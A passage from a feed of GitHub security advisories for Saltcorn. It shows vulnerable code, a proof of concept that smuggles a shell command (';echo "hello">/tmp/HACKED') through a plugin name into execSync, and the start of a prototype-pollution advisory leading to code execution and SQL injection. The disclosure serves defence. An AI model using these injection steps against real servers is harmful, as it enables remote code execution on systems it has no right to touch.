        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;tokens&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;source&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;npm&quot;&lt;/span&gt;
        ? &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;
        : &lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;/&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [5] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempDir&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempRootFolder&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;temp_install&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; ...&lt;span class=&quot;pl-s1&quot;&gt;tokens&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [6] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;install&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;prepPluginsFolder&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;pckJSON&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [8] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;prepPluginsFolder&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;pckJSON&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;case&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt; &lt;span class=&quot;pl-s&quot;&gt;&quot;git&quot;&lt;/span&gt;:
        &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;force&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;pathExists&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;gitPullOrClone&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-smi&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;tempDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [9] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-s1&quot;&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/download_utils.js#L112&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/download_utils.js#L112&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;gitPullOrClone&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;fs&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;existsSync&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;execSync&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;`git &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;setKey&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; -C &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; pull`&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;pl-k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;execSync&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;`git &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;setKey&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; clone &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;plugin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;pluginDir&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;`&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [10] &lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;...&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
        &lt;h3&gt;PoC&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;check that the file will be created by the command &lt;code class=&quot;notranslate&quot;&gt;echo &quot;hello&quot;&amp;gt;/tmp/HACKED&lt;/code&gt; does not exists:&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;cat /tmp/HACKED
        cat: /tmp/HACKED: No such file or directory
        &lt;/code&gt;&lt;/pre&gt;
        &lt;ul&gt;
        &lt;li&gt;login with an admin account&lt;/li&gt;
        &lt;li&gt;visit &lt;code class=&quot;notranslate&quot;&gt;http://localhost:3000/plugins/new&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;enter the following fields:
        &lt;ul&gt;
        &lt;li&gt;Name: &lt;code class=&quot;notranslate&quot;&gt;;echo &quot;hello&quot;&amp;gt;/tmp/HACKED&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;Source: &lt;code class=&quot;notranslate&quot;&gt;git&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;other fields blank&lt;/li&gt;
        &lt;/ul&gt;
        &lt;/li&gt;
        &lt;li&gt;click &lt;code class=&quot;notranslate&quot;&gt;Create&lt;/code&gt;&lt;/li&gt;
        &lt;li&gt;you will get an error saying &lt;code class=&quot;notranslate&quot;&gt;ENOENT: no such file or directory, ....&lt;/code&gt; but the command &lt;code class=&quot;notranslate&quot;&gt;touch /tmp/HACKED&lt;/code&gt; will be executed&lt;/li&gt;
        &lt;li&gt;to verify:&lt;/li&gt;
        &lt;/ul&gt;
        &lt;pre class=&quot;notranslate&quot;&gt;&lt;code class=&quot;notranslate&quot;&gt;cat /tmp/HACKED
        hello
        &lt;/code&gt;&lt;/pre&gt;
        &lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Remote code execution&lt;/p&gt;
        &lt;h3&gt;Recommended Mitigation&lt;/h3&gt;
        &lt;p&gt;Sanitize the &lt;code class=&quot;notranslate&quot;&gt;pluginDir&lt;/code&gt; value before passing to &lt;code class=&quot;notranslate&quot;&gt;execSync&lt;/code&gt;. Alternatively, use &lt;code class=&quot;notranslate&quot;&gt;child_process. execFileSync&lt;/code&gt; API (docs: &lt;a href=&quot;https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options&quot; rel=&quot;nofollow&quot;&gt;https://nodejs.org/api/child_process.html#child_processexecfilesyncfile-args-options&lt;/a&gt;)&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a title=&quot;GHSA-fm76-w8jw-xf8m&quot; href=&quot;https://github.com/saltcorn/saltcorn/security/advisories/GHSA-fm76-w8jw-xf8m&quot;&gt;GHSA-fm76-w8jw-xf8m&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192/hovercard&quot; href=&quot;https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192&quot;&gt;saltcorn/saltcorn@&lt;tt&gt;024f19a&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/download_utils.js#L112&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/download_utils.js#L112&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L41-L61&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/plugins-loader/plugin_installer.js#L41-L61&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/saltcorn-data/models/plugin.ts#L44&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/saltcorn-data/models/plugin.ts#L44&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/load_plugins.js#L64-L65&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/load_plugins.js#L64-L65&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/plugins.js#L1400&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/plugins.js#L1400&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-fm76-w8jw-xf8m</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-fm76-w8jw-xf8m</guid>
      <pubDate>Thu, 03 Oct 2024 22:21:24 GMT</pubDate>
    </item>
    <item>
      <title>@saltcorn/server Remote Code Execution (RCE) / SQL injection via prototype pollution by manipulating `lang` and `defstring` parameters when setting lo...</title>
      <description>&lt;h3&gt;Summary&lt;/h3&gt;
        &lt;p&gt;The endpoint &lt;code class=&quot;notranslate&quot;&gt;/site-structure/localizer/save-string/:lang/:defstring&lt;/code&gt; accepts two parameter values: &lt;code class=&quot;notranslate&quot;&gt;lang&lt;/code&gt; and &lt;code class=&quot;notranslate&quot;&gt;defstring&lt;/code&gt;. These values are used in an unsafe way to set the keys and value of the &lt;code class=&quot;notranslate&quot;&gt;cfgStrings&lt;/code&gt; object. It allows to add/modify properties of the &lt;code class=&quot;notranslate&quot;&gt;Object prototype&lt;/code&gt; that result in several logic issues, including:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;RCE vulnerabilities by polluting the &lt;code class=&quot;notranslate&quot;&gt;tempRootFolder&lt;/code&gt; property&lt;/li&gt;
        &lt;li&gt;SQL injection vulnerabilities by polluting the &lt;code class=&quot;notranslate&quot;&gt;schema&lt;/code&gt; property when using &lt;code class=&quot;notranslate&quot;&gt;PostgreSQL&lt;/code&gt; database.&lt;/li&gt;
        &lt;/ul&gt;
        &lt;h3&gt;Details&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;file: &lt;a href=&quot;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239&quot;&gt;https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/infoarch.js#L236-L239&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
        &lt;div class=&quot;highlight highlight-source-js&quot;&gt;&lt;pre class=&quot;notranslate&quot;&gt;&lt;span class=&quot;pl-s1&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;pl-s&quot;&gt;&quot;/localizer/save-string/:lang/:defstring&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;isAdmin&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;pl-en&quot;&gt;error_catcher&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; lang&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; defstring &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// source&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;cfgStrings&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;getState&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;getConfigCopy&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;localizer_strings&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;cfgStrings&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;cfgStrings&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;defstring&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;pl-c&quot;&gt;// [1] sink&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;cfgStrings&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;pl-c1&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;defstring&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;]&lt;/span&gt;: &lt;span class=&quot;pl-en&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-c1&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;pl-en&quot;&gt;getState&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;setConfig&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;&quot;localizer_strings&quot;&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;pl-s1&quot;&gt;cfgStrings&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-s1&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pl-en&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pl-s&quot;&gt;`/site-structure/localizer/edit/&lt;span class=&quot;pl-s1&quot;&gt;&lt;span class=&quot;pl-kos&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;pl-s1&quot;&gt;lang&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;/span&gt;`&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;pl-kos&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pl-kos&quot;&gt;)&lt;/span&gt;
